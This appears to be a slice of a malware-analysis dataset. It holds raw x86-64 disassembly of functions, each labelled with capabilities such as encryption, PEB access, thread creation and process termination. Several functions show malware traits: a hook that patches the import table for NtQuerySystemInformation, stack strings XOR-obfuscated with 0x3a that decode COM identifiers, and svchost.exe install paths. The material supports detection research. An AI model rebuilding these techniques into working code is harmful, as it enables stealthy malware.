joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4456e0
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x445847
push rbp
mov rbp, rsp
sub rsp, 0x18
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x4456f2
cmp edx, ecx
jne 0x445835
nop word [rax + rax]
test rsi, rsi
jne 0x445835
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x445754
nop
call fcn.00466f00
xorps xmm15, xmm15
mov r14, qword [0x00674fe8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.00445600
mov rcx, qword [rsp + 0x28]
mov edx, dword [rcx]
mov ebx, edx
sar edx, 0x1f
shr edx, 0x1b
add edx, ebx
mov esi, edx
and edx, 0xffffffe0
sub ebx, edx
test ebx, ebx
jl 0x445830
mov rdx, qword [0x00621c28]
sar esi, 5
mov rax, rcx
mov ecx, ebx
mov edi, 1
shl edi, cl
movsxd rsi, esi
cmp ecx, 0x20
sbb r8d, r8d
and edi, r8d
cmp rdx, rsi
jbe 0x445825
mov rcx, qword [0x00621c20]
lea rcx, [rcx + rsi*4]
lock or dword [rcx], edi
mov rcx, qword [0x00622a30]
mov qword [rax + 8], rcx
mov rcx, rax
nop
mov qword [0x00622a30], rax
nop
mov edx, 1
lea rsi, [0x00622a38]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1228]
shr rdx, 0x3d
test dl, dl
jne 0x445813
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
nop
nop
xchg qword [rcx + 0x1228], rdx
add rsp, 0x18
pop rbp
ret
lea rax, [0x00535a48]
mov ebx, 0x28
nop
call fcn.00436b40
mov rax, rsi
mov rcx, rdx
call fcn.00465660
call fcn.004350c0
lea rax, [0x005349d6]
mov ebx, 0x23
call fcn.00436b40
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004633e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004456e0
Function at 0x4525a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x452717
movzx edx, byte [rax]
test edx, edx
jne 0x4525d4
nop dword [rax]
test r8b, r8b
jne 0x4525d4
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
add rsp, 0x10
pop rbp
ret
bt edx, 7
jae 0x4525e7
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x4526d7
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
nop dword [rax]
cmp rbx, r8
jb 0x4526c5
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rdx
sar rdx, 0x3f
and r8, rdx
lea rdx, [rax + r8]
test rbx, rbx
jbe 0x4526b7
movzx esi, byte [rax + r8]
bt esi, 7
jae 0x45263d
xor eax, eax
xor esi, esi
xor r8d, r8d
jmp 0x452680
mov eax, 1
cmp rax, rbx
ja 0x45266b
add qword [rdi], rsi
sub rcx, rax
sub rbx, rax
mov rsi, rcx
neg rsi
sar rsi, 0x3f
and rax, rsi
add rax, rdx
mov edi, 1
add rsp, 0x10
pop rbp
ret
mov rcx, rbx
call fcn.00465720
lea r8d, [rcx + 7]
mov rcx, r11
mov eax, r12d
nop dword [rax]
cmp rax, rbx
jae 0x4526af
movzx r9d, byte [rax + rdx]
mov r10d, r9d
and r9d, 0x7f
mov r11, rcx
mov ecx, r8d
shl r9d, cl
lea r12d, [rax + 1]
or esi, r9d
test r10b, 0x80
jne 0x452673
mov rcx, r11
mov eax, r12d
jmp 0x452642
mov rcx, rbx
call fcn.00465660
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00465660
mov eax, r8d
mov rcx, rbx
call fcn.00465720
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x45270d
movzx r10d, byte [rdx + rax]
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
inc edx
or r8d, r10d
test r11b, 0x80
jne 0x4526d0
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x4525ed
mov eax, edx
mov rcx, rbx
call fcn.00465660
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00465660
nop
int3
Function at 0x459f60
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x45a00f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x0045a060]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.004632a0
xorps xmm15, xmm15
mov r14, qword [0x00674fe8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.004633e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.00459f60
Function at 0x4651c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x403cc3
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.00409980
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004633e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x403ca0
cmp byte [0x00674dab], 0
je 0x4651d5
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x462420
jmp 0x403ca0

Function at 0x4651e0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x00675140]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x00674dab], 0
je 0x465215
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x00675400]
aesenc xmm0, xmmword [0x00675410]
aesenc xmm0, xmmword [0x00675420]
movq rax, xmm0
ret
jmp 0x409ba0

Function at 0x465220
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x00675140]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x00674dab], 0
je 0x465256
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x00675400]
aesenc xmm0, xmmword [0x00675410]
aesenc xmm0, xmmword [0x00675420]
movq rax, xmm0
ret
jmp 0x409c00

Function at 0x466f60
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x466f94
mov rcx, 0x28
jmp 0x466f9f
shl rcx, 3
add rcx, 0x1480
mov qword [0x00674fe8], rcx
pop rbp
ret
Function at 0x483ac0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x483b8a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403b80
xorps xmm15, xmm15
mov r14, qword [0x00674fe8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x483b6f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x00505820]
xor ebx, ebx
mov rcx, rdx
call fcn.0044b080
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.004851a0
inc rbx
cmp rcx, rbx
jae 0x483b5e
mov edi, 1
lea rsi, [0x00505820]
call fcn.0044b160
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x0055bb48]
lea rsi, [0x0055af18]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004633e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00483ac0
Function at 0x4ac860
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x4ac877
inc rax
cmp rax, 4
jge 0x4ac88f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x4ac874
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x4ac8a0
inc rax
cmp rax, 4
jge 0x4ac8ae
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x4ac8d7
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x4ac8bb
jmp 0x4ac89d

Function at 0x4bad80
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4baece
push rbp
mov rbp, rsp
sub rsp, 0x68
movups xmmword [rsp + 0x40], xmm15
mov qword [rsp + 0x30], 0
mov rax, qword [0x00615f50]
call fcn.004acae0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x38], rax
movups xmmword [rsp + 0x50], xmm15
mov qword [rsp + 0x60], 0
lea rcx, [0x004baee0]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x2b
call fcn.00403b80
xorps xmm15, xmm15
mov r14, qword [0x00674fe8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x18]
cmp rcx, 0xffffffffffffffff
je 0x4bae92
mov rdx, qword [rsp + 0x28]
nop dword [rax + rax]
cmp rdx, rcx
jb 0x4baec8
mov qword [rsp + 0x20], rcx
mov rsi, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, rcx
lea rdx, [rsp + 0x50]
call rsi
mov rax, qword [rsp + 0x20]
lea rcx, [rax + 1]
mov rbx, qword [rsp + 0x28]
cmp rbx, rcx
jb 0x4baebd
mov rsi, qword [rsp + 0x50]
sub rbx, rax
dec rbx
mov rdi, rbx
neg rdi
sar rdi, 0x3f
and rcx, rdi
mov rdi, qword [rsp + 0x38]
lea rax, [rdi + rcx]
lea rdx, [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
add rsp, 0x68
pop rbp
ret
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x28]
lea rdx, [rsp + 0x50]
call rcx
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
add rsp, 0x68
pop rbp
ret
mov rax, rcx
mov rcx, rbx
call fcn.00465720
call fcn.004656a0
nop
call fcn.004633e0
jmp fcn.004bad80
Function at 0x4d5ac0
Capabilities:
Access peb ldr_data

Disassembly:
lea r12, [rsp - 0x30]
cmp r12, qword [r14 + 0x10]
jbe 0x4d5d09
push rbp
mov rbp, rsp
sub rsp, 0xa8
nop word [rax + rax]
test rax, rax
je 0x4d5cf4
mov qword [rsp + 0xb8], rax
mov rbx, qword [rax + 8]
test rbx, rbx
jne 0x4d5b02
xor ebx, ebx
xor ecx, ecx
nop
jmp 0x4d5b1c
mov rdx, qword [rax]
mov rcx, qword [rax + 0x10]
mov rax, rdx
call fcn.004c8520
mov rcx, rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x48], rbx
cmp qword [rax + 0x28], 0
je 0x4d5c31
mov rcx, qword [rax + 0x18]
mov rax, rcx
nop dword [rax + rax]
call fcn.0047a360
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], rbx
mov rcx, qword [rsp + 0xb8]
mov r8, qword [rcx + 0x20]
mov r9, qword [rcx + 0x28]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x00559fb0]
mov esi, 1
lea rax, [rsp + 0x68]
mov rbx, qword [rsp + 0x88]
call fcn.0044eee0
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.00403b80
xorps xmm15, xmm15
mov r14, qword [0x00674fe8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x4d5bfb
xor eax, eax
lea rbx, [0x0052c2bf]
mov ecx, 1
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x60]
lea r8, [0x0052c2dc]
mov r9d, 2
mov r10, qword [rsp + 0x98]
mov r11, qword [rsp + 0x58]
call fcn.0044efa0
jmp 0x4d5c28
xor eax, eax
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
lea rdi, [0x00559f10]
mov esi, 1
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0x58]
call fcn.0044eee0
add rsp, 0xa8
pop rbp
ret
mov rax, qword [rax + 0x18]
call fcn.0047a360
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x50], rbx
mov rcx, qword [rsp + 0x88]
mov qword [rsp], rcx
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 8], rdx
mov byte [rsp + 0x10], 0x3a
call fcn.00403b80
xorps xmm15, xmm15
mov r14, qword [0x00674fe8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
nop
jl 0x4d5cbe
xor eax, eax
lea rbx, [0x0052c2bf]
mov ecx, 1
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x48]
lea r8, [0x0052c2dc]
mov r9d, 2
mov r10, qword [rsp + 0x90]
mov r11, qword [rsp + 0x50]
call fcn.0044efa0
jmp 0x4d5ceb
xor eax, eax
mov rbx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x00559f10]
mov esi, 1
mov r8, qword [rsp + 0x90]
mov r9, qword [rsp + 0x50]
call fcn.0044eee0
add rsp, 0xa8
pop rbp
ret
lea rax, [0x0052c630]
mov ebx, 5
add rsp, 0xa8
pop rbp
ret
mov qword [rsp + 8], rax
call fcn.004633e0
mov rax, qword [rsp + 8]
jmp fcn.004d5ac0
Function at 0x1800025a8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
call fcn.180003698
and dword [rbp + 0x10], 0
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
mov eax, dword [rbp + 0x10]
lea rdx, [rbp - 0x40]
and qword [rbp - 0x40], 0
xorps xmm0, xmm0
and dword [rbp - 0x14], 0
mov r8d, gethostname
and dword [rbp - 0x18], 0
mov rcx, rbx
and dword [rbp - 0x10], 0
and qword [rbp - 0x28], 0
movdqu xmmword [rbp - 0x38], xmm0
mov dword [rbp - 0xc], 0x2072024
mov dword [rbp - 0x1c], 0x11000
mov dword [rbp - 0x20], eax
call qword [rbx + 0x28]
mov rcx, rbx
call fcn.180010424
mov rdi, rax
call fcn.1800109fc
mov qword [0x1800609c0], rax
call fcn.1800109fc
mov qword [0x1800609b8], rax
call fcn.18000657c
and qword [rsp + 0x28], 0
lea r8, [0x180002474]
and dword [rsp + 0x20], 0
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rbx, rax
test rax, rax
je 0x180002642
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x180002642

Function at 0x180002680
Capabilities:
Get common file path
Terminate process

Disassembly:
sub rsp, 0x448
xor edx, edx
lea rcx, [rsp + 0x230]
mov r8d, 0x208
call sub.ntdll.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0x230]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x1800026dc
lea rcx, [rsp + 0x230]
call fcn.180015338
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
jmp 0x180002746
and qword [rsp + 0x450], 0
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x208
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x180002711
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rdx, str._svchost.exe__Install
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
call fcn.18000bdc0
mov r8d, dword [0x1800609d8]
lea r9, [rsp + 0x450]
mov rdx, qword [0x1800609d0]
lea rcx, [rsp + 0x20]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rsp, 0x448
ret
Function at 0x180002750
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x760]
sub rsp, 0x860
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
call fcn.1800149e4
mov edi, 0x208
lea rcx, [rsp + 0x20]
mov r8d, edi
xor edx, edx
mov ebx, eax
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x20]
mov ecx, ebx
call fcn.180014b60
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea rcx, [0x180060794]
call fcn.18000bf64
lea r8, [0x180060794]
lea rdx, [rsp + 0x20]
lea rcx, [0x18006085c]
call fcn.18000c098
mov r8d, edi
lea rcx, [rbp + 0x130]
xor edx, edx
call sub.ntdll.dll_memset
mov edx, 0x5c
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_wcsrchr]
xor ebx, ebx
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x130]
mov word [rax], bx
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
cmp dword [0x1800609b0], ebx
je 0x1800028b6
mov r8d, edi
lea rcx, [rbp + 0x340]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, [0x1800608c0]
lea r8, [rbp + 0x130]
lea rdx, str._s_s
lea rcx, [rbp + 0x340]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [0x180060794]
lea rdx, [rbp + 0x340]
lea rcx, [0x1800608c0]
call fcn.18000c098
mov r8d, edi
lea rcx, [rbp + 0x550]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, [0x180060924]
lea r8, [rbp + 0x130]
lea rdx, str._s_s
lea rcx, [rbp + 0x550]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [0x180060794]
lea rdx, [rbp + 0x550]
lea rcx, [0x180060924]
call fcn.18000c098
lea rcx, [0x18005ff30]
call fcn.18000c64c
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea r11, [rsp + 0x860]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x180002c10
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
mov r10, r8
movsxd r8, edx
test edx, edx
jle 0x180002c30
mov rdx, rcx
mov r9, r8
xor byte [rdx], 0x3a
inc rdx
sub r9, 1
jne 0x180002c24
mov rdx, rcx
mov rcx, r10
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, 1
add rsp, 0x28
ret

Function at 0x180002c48
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x230
or qword [rax + 8], 0xffffffffffffffff
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x208
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x180002c84
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rdx, str._svchost.exe__k_netsvcs
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
call fcn.18000bdc0
mov r8d, dword [0x1800609d8]
lea r9, [rsp + 0x240]
mov rdx, qword [0x1800609d0]
lea rcx, [rsp + 0x20]
mov rbx, rax
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, rbx
call fcn.18000bf34
mov rax, qword [rsp + 0x240]
add rsp, 0x230
pop rbx
ret

Function at 0x180002d6c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rax, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
xor ecx, ecx
mov qword [0x1800609f0], rax
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
movsxd rcx, dword [rax + 0x3c]
mov ebx, dword [rcx + rax + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
add rbx, rax
mov qword [rsp + 0x38], rbx
jmp 0x180002e35
cmp dword [rbx + 0x10], 0
je 0x180002e3e
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov edi, dword [rbx + 0x10]
add rdi, rax
mov qword [rsp + 0x38], rdi
jmp 0x180002e29
cmp rax, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
jne 0x180002e25
lea r9, [rsp + 0x30]
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rax, [0x180002e4c]
mov r8d, 8
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov rcx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
add rdi, 8
mov rax, qword [rdi]
test rax, rax
jne 0x180002dcb
add rbx, 0x14
cmp dword [rbx], 0
jne 0x180002dac
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180003018
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rdi, rcx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x3a0a3a41
xorps xmm1, xmm1
mov dword [rsp + 0x34], 0x3a023a5c
xor edx, edx
mov dword [rsp + 0x38], 0x3a093a0d
mov r8d, 0x9a
mov dword [rsp + 0x3c], 0x3a033a0c
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x40], 0x3a173a5c
movups xmmword [rbp - 0x20], xmm0
mov dword [rsp + 0x44], 0x3a0e3a5b
movups xmmword [rbp - 0x30], xmm1
mov dword [rsp + 0x48], 0x3a0f3a5f
mov dword [rsp + 0x4c], 0x3a0e3a17
mov dword [rsp + 0x50], 0x3a5c3a59
mov dword [rsp + 0x54], 0x3a173a59
mov dword [rsp + 0x58], 0x3a5e3a58
mov dword [rsp + 0x5c], 0x3a5f3a09
mov dword [rsp + 0x60], 0x3a0d3a17
mov dword [rsp + 0x64], 0x3a5f3a09
mov dword [rsp + 0x68], 0x3a0b3a0c
mov dword [rsp + 0x6c], 0x3a0e3a0f
mov dword [rsp + 0x70], 0x3a0d3a0f
mov dword [rsp + 0x74], 0x3a5e3a08
mov dword [rsp + 0x78], 0x3a473a5e
mov byte [rsp + 0x7c], 0x3a
call sub.ntdll.dll_memset
mov ebx, 0x4d
lea r8, [rbp - 0x10]
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.180002c10
xor edx, edx
mov dword [rbp - 0x80], 0x3a083a41
lea r8d, [rbx + 0x4d]
mov dword [rbp - 0x7c], 0x3a5b3a5c
lea rcx, [rbp + 0x90]
mov dword [rbp - 0x78], 0x3a5b3a58
mov dword [rbp - 0x74], 0x3a593a0e
mov dword [rbp - 0x70], 0x3a173a0d
mov dword [rbp - 0x6c], 0x3a5e3a0e
mov dword [rbp - 0x68], 0x3a033a5b
mov dword [rbp - 0x64], 0x3a0e3a17
mov dword [rbp - 0x60], 0x3a0b3a0a
mov dword [rbp - 0x5c], 0x3a173a09
mov dword [rbp - 0x58], 0x3a0c3a03
mov dword [rbp - 0x54], 0x3a0d3a03
mov dword [rbp - 0x50], 0x3a083a17
mov dword [rbp - 0x4c], 0x3a593a0a
mov dword [rbp - 0x48], 0x3a093a59
mov dword [rbp - 0x44], 0x3a5e3a5c
mov dword [rbp - 0x40], 0x3a0a3a0e
mov dword [rbp - 0x3c], 0x3a023a5c
mov dword [rbp - 0x38], 0x3a473a0f
mov byte [rbp - 0x34], 0x3a
call sub.ntdll.dll_memset
lea r8, [rbp + 0x90]
mov edx, ebx
lea rcx, [rbp - 0x80]
call fcn.180002c10
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x10]
call qword [sym.imp.ole32.dll_CLSIDFromString]
xor ebx, ebx
test eax, eax
js 0x180003204
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x90]
call qword [sym.imp.ole32.dll_IIDFromString]
test eax, eax
js 0x180003204
lea r9, [rbp - 0x30]
mov qword [rsp + 0x20], rdi
xor edx, edx
lea r8d, [rbx + 1]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
cmovs ebx, eax
mov eax, ebx
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x18000321c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rdi, rdx
mov dword [rsp + 0x30], 0x3a663a66
xor edx, edx
mov dword [rsp + 0x34], 0x3a533a77
mov rbx, rcx
mov dword [rsp + 0x38], 0x3a483a59
lea rcx, [rbp]
mov dword [rsp + 0x3c], 0x3a493a55
mov dword [rsp + 0x40], 0x3a5c3a55
lea r8d, [rdx + 0x52]
mov dword [rsp + 0x44], 0x3a663a4e
mov dword [rsp + 0x48], 0x3a6d3a66
mov dword [rsp + 0x4c], 0x3a543a53
mov dword [rsp + 0x50], 0x3a553a5e
mov dword [rsp + 0x54], 0x3a493a4d
mov byte [rsp + 0x58], 0x3a
call sub.ntdll.dll_memset
lea r8, [rbp]
mov edx, 0x29
lea rcx, [rsp + 0x30]
call fcn.180002c10
xorps xmm0, xmm0
lea rcx, [rsp + 0x60]
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
